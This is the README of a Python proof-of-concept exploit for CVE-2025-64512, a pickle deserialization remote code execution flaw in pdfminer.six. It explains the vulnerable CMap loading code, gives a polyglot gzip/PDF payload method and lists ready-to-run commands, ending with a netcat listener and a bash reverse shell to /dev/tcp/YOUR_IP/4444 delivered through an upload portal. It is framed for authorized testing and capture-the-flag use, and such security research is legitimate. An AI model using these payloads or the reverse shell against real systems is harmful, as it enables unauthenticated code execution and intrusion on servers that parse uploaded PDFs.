
Python PoC for CVE-2025-64512, a pdfminer.six pickle deserialization RCE. Generates gzipped pickle payloads and polyglot PDFs, then delivers them to upload portals for authorized testing.
Python 3, stdlib only (no pip installs). For authorized security testing and CTF use only — you are responsible for complying with the law and your engagement's rules of engagement.
| CVE | CVE-2025-64512 |
| Affected | pdfminer.six < 20251107 (fixed in 20251107 — CMaps became JSON) |
| Downstream victims | markitdown < 0.1.4, pdfplumber < 0.11.8 |
| Type | CWE-502 deserialization of untrusted data → unauthenticated RCE |
| Reference PoC | luigigubello/CVE-2025-64512-Polyglot-PoC (single-file polyglot variant) |
Tested target: https://app.hackthebox.com/machines/Bedside
pdfminer.six is a popular Python library for extracting text from PDFs. PDF fonts
need CMaps — tables that translate character codes into Unicode — and pdfminer
ships them as gzipped pickles (<name>.pickle.gz) inside its own package.
Look at how a CMap is loaded (pdfminer/cmapdb.py, all versions before 20251107):
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # the ONLY sanitization
filename = "%s.pickle.gz" % name # ← attacker controls `name`
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← absolute name ignores the dir!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
Three flaws stack up:
name comes from the PDF itself. A Type0 (CID) font's /Encoding entry is
a PDF name, and the attacker fully controls it. PDF names can't contain a raw
/, so it is written with RFC-standard hex escapes: the name
/#2f#76#61#72#2f… decodes to /var/….os.path.join quirk. When the second argument is absolute, the first is
ignored entirely. So a name of /var/www/site/uploads/shell makes pdfminer look
at /var/www/site/uploads/shell.pickle.gz — any path on disk — instead of its
own CMap directory.pickle.loads() on the file's contents. A pickle can carry "rebuild me by
calling this function" instructions (__reduce__). Deserializing attacker
bytes = running attacker code, inside whatever process called pdfminer.Exploit prerequisites — the bug is trivially exploitable on any application that gives you both halves of the equation:
{"__reduce__": eval("__import__('os').system('<your command>')")}./Encoding names your pickle's absolute path.--mode two (default) — uploads <name>.pickle.gz, then <name>.pdf.
Use this whenever the target only parses files with a PDF extension
(e.g. a watcher globbing uploads/*.pdf).--mode polyglot — uploads one file <name>.pickle.gz that is both
a valid gzip-pickle and a valid PDF: the entire PDF hides in the gzip
header's FCOMMENT field (RFC 1952 allows comments; the %PDF- signature sits
at byte 10, and the xref offsets are pre-shifted so the table stays valid).
Use this when the target parses any uploaded file as PDF regardless of
extension (markitdown-style converters).--verify), waits out the target's
processing cycle (--wait), and can prepend a callback oracle (--callback)
that phones home before your command runs — so you can prove execution even if
your main channel fails.Nothing to install — Python 3.10+ (uses str | None syntax):
chmod +x cve_2025_64512.py
Generate sample payloads and (if a vulnerable pdfminer is importable) execute them in your own Python to prove the chain works before touching a target:
# point the selftest at a vulnerable pdfminer checkout/wheel (any < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
Expected output ends with SELFTEST PASS for both the two-file trigger and the
polyglot. You can also test manually:
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf # vulnerable pdfminer only
cat /tmp/pwned # → your uid
# 1. start a listener for your command's callback channel
nc -lvnp 4444
# 2. run the exploit — let it discover the upload directory itself
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
Full argument reference: